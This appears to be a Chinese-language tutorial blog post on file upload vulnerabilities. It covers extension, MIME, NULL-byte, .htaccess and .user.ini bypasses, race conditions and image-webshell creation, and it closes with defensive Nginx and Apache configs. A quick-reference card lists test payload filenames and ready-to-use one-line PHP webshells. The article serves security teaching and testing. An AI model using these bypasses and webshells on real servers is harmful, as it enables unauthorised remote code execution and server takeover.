文件上传漏洞
1662 字
8 分钟
文件上传漏洞
一、文件上传漏洞概述
1.1 什么是文件上传漏洞?
由于后端未对上传的文件进行正确的识别和处理,导致攻击者上传恶意文件(如 Webshell),进而控制系统。
1.2 常见误解
| 说法 | 正误 |
|---|---|
| “看见一个上传点,已经挖到一个文件上传漏洞” | ❌ 必须上传并执行恶意代码才算 |
| “上传功能正常就是安全的” | ❌ 功能正常≠安全,需检查过滤机制 |
1.3 漏洞危害
| 危害 | 说明 |
|---|---|
| 执行命令 | 上传 Webshell,控制目标服务器 |
| 资源消耗 | 上传大文件或恶意文件消耗服务器资源 |
| 内网渗透 | 以服务器为跳板攻击内网 |
1.4 利用条件
1. 具备上传点且功能正常2. 知道上传文件的路径且能够访问3. 上传的文件可以被执行(如放在可执行目录)4. 上传文件中的有效代码未被破坏(未被转义/过滤)5. 后端脚本解析器需有足够权限(如管理员权限)6. 配合文件解析漏洞使用7. 未被 WAF 拦截或能够绕过 WAF二、文件上传绕过方式
2.1 绕过方式总览
| 类别 | 方式 | 前提条件 |
|---|---|---|
| 前端绕过 | 禁用 JS / 修改前端代码 | 仅前端校验 |
| MIME 绕过 | 修改 Content-Type | 后端仅检查 MIME |
| 生僻扩展名 | 使用 php3/php4/php5/phtml 等 | 黑名单不完整 |
| 大小写绕过 | .pHp / .PhP | 黑名单未忽略大小写 |
| 末尾加空格 | .php | 低版本 PHP / Windows |
| 末尾加点 | .php. | Windows 系统 |
| ::$DATA 绕过 | .php::$DATA | Windows + NTFS |
| 双写绕过 | .pphphp | 黑名单仅替换一次 |
| NULL 截断 | .php%00.jpg | PHP < 5.3.29 |
| .htaccess | 上传 .htaccess 解析任意文件 | Apache |
| .user.ini | 上传 .user.ini 包含恶意文件 | PHP 较高版本 |
| 条件竞争 | 先上传再检查,利用时间差 | 检查机制滞后的场景 |
2.2 生僻扩展名
PHP 系列:
php、php2、php3、php4、php5、phtml、pht、phpsASP 系列:
asp、aspx、asa、asax、ascx、ashx、asmx、cerJSP 系列:
jsp、jspa、jspx、jsw、jsv、jspf、jtml2.3 前端绕过
1. 浏览器禁用 JavaScript2. 使用 Burp Suite 修改上传请求3. 删除或修改前端校验逻辑2.4 Content-Type (MIME) 绕过
# 正常上传Content-Type: image/jpeg
# 修改为合法 MIME 类型绕过检查Content-Type: image/gifContent-Type: image/png2.5 大小写绕过
# 黑名单过滤 .php,但未忽略大小写shell.pHpshell.PhPshell.PHP2.6 末尾加空格/加点
# Windows 系统会自动去除末尾空格和点shell.php → 有效shell.php. → Windows 自动去除末尾点shell.php → 空格2.7 ::DATA 绕过(NTFS 文件流)
# Windows NTFS 流文件绕过shell.php::$DATA# 实际保存为 shell.php2.8 双写绕过
// 黑名单替换 .php 为空(仅替换一次)shell.pphphp → 替换后 → shell.php2.9 NULL 截断
# PHP < 5.3.29 版本shell.php%00.jpg# %00 截断后面的内容,实际保存为 shell.php2.10 .htaccess 绕过(Apache)
# 上传 .htaccess 文件,让任意文件作为 PHP 解析AddType application/x-httpd-php .jpg .png .gif执行流程:
上传 .htaccess → 修改解析规则 → 上传图片马 → 图片马被当作 PHP 执行2.11 .user.ini 绕过
# 上传 .user.ini 文件(PHP 5.3+)auto_prepend_file = shell.jpg# 所有 PHP 文件执行前自动包含 shell.jpg执行流程:
上传 .user.ini → 设置自动包含 → 上传图片马 → 访问任意 PHP 文件 → 图片马被执行三、图片马
3.1 什么是图片马?
将 Webshell 代码隐藏在正常图片中的文件。图片仍可正常显示,但包含恶意代码。
3.2 创建图片马
# 准备文件0.jpg # 正常图片shell.php # 恶意代码
# 合并生成图片马copy 0.jpg /b + shell.php /a shell.jpg
# 参数说明:# /b 二进制模式# /a ASCII模式3.3 图片马 + 文件包含 = Getshell
上传图片马 → 文件包含漏洞包含该图片 → 图片中的 PHP 代码被执行 → Getshell<?phpinclude($_GET['file']);?>http://target.com/include.php?file=shell.jpg四、上传漏洞挖掘流程
4.1 挖掘步骤
1. 找上传功能点 ├── 头像上传 ├── 附件上传 ├── 文件管理 └── 编辑器上传 ↓2. 上传正常文件,确认功能正常 ↓3. 判断是白名单还是黑名单 ├── 白名单 → 只允许特定扩展名 │ ├── 尝试 00 截断 │ ├── 条件竞争 │ └── 图片马 + 文件包含/解析漏洞 │ └── 黑名单 → 过滤特定扩展名 ├── 修改扩展名抓包 ├── 大小写绕过 ├── 生僻扩展名 ├── 末尾加点/空格/::$DATA ├── .htaccess / .user.ini ├── 双写绕过 └── NULL 截断 ↓4. 确认上传成功且可执行4.2 URL Fuzz 找上传点
# 常见上传路径http://xxx.com/upload.phphttp://xxx.com/uploadfile.phphttp://xxx.com/uploaddoc.phphttp://xxx.com/fileupload.phphttp://xxx.com/upload.jsphttp://xxx.com/upfile.php五、WebShell 权限
5.1 权限来源
Webshell 由 PHP 解析器执行,权限取决于 PHP 解析器的运行方式。
| 运行方式 | 权限来源 |
|---|---|
| Apache + PHP 模块 | Apache 进程权限 |
| Nginx + PHP-FPM | PHP-FPM 服务运行用户权限 |
5.2 权限提升思路
1. 利用系统漏洞提权2. 利用配置错误(如 sudo 配置不当)3. 利用敏感文件获取凭证4. 利用 SUID 文件六、条件竞争
6.1 原理
文件先被保存到服务器,再进行安全检查(如扫描病毒、检查内容)。攻击者利用检查完成前的时间差执行恶意代码。
6.2 利用方式
1. 持续上传恶意文件2. 同时持续访问该文件3. 在检查完成前触发执行七、防御措施
7.1 服务端防御
| 措施 | 说明 |
|---|---|
| 白名单 | 只允许指定扩展名(推荐) |
| 重命名文件 | 使用随机字符串重命名,不暴露扩展名 |
| 限制目录权限 | 上传目录禁止执行 PHP |
| 内容检查 | 检查文件内容是否包含恶意代码 |
| 二次渲染 | 对图片重新生成,去除恶意代码 |
| 限制大小 | 限制上传文件大小 |
| 限制 MIME | 校验 MIME 类型 |
7.2 Nginx 配置示例
# 禁止解析上传目录中的 PHPlocation /uploads/ { location ~ .*\.(php|php5)?$ { deny all; }}7.3 Apache 配置示例
# 禁止解析上传目录中的 PHP<Directory /var/www/html/uploads> php_flag engine off AddType text/plain .php .php5 .phtml</Directory>📌 快速参考卡片
测试 Payload
# 测试上传shell.phpshell.pHpshell.php3shell.php5shell.phtmlshell.jpg.phpshell.php.shell.php%00.jpgshell.php::$DATAshell.pphphp
# 图片马生成copy 0.jpg /b + shell.php /a shell.jpg
# .htaccessAddType application/x-httpd-php .jpg判断黑白名单
| 方法 | 操作 |
|---|---|
上传 .txt | 成功 → 黑名单,失败 → 白名单 |
上传 .php | 失败 → 黑名单或白名单限制 |
上传 .php3 | 成功 → 黑名单不完整 |
上传 .jpg.php | 成功 → 仅检查后缀名 |
目录权限
/uploads/ 目录应禁止执行 PHP 文件配置:php_flag engine off一句话木马
<?php @eval($_POST['cmd']); ?><?php system($_GET['c']); ?><?= @eval($_POST['cmd']); ?>图片马代码
// 隐藏在一张图片末尾<?php @eval($_POST['cmd']); ?>文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!
相关文章智能推荐
1
文件包含漏洞
技术文章本地/远程文件包含的利用方式、PHP 伪协议与敏感文件路径,以及挖掘与防御方法。
2
逻辑漏洞
技术文章越权、支付与验证码等业务逻辑漏洞的分类、挖掘思路与常见场景。
3
中间件解析漏洞
技术文章Apache、Nginx、IIS 三大中间件解析漏洞的成因、复现过程与利用条件。
4
弱口令与未授权访问
技术文章Hydra 服务爆破、Tomcat 后台弱口令 getshell,以及未授权访问漏洞清单与挖掘思路。
5
XXE 外部实体注入
技术文章XXE 的成因、文件读取与 SSRF 利用链,以及禁用外部实体的防御方案。
随机文章随机推荐















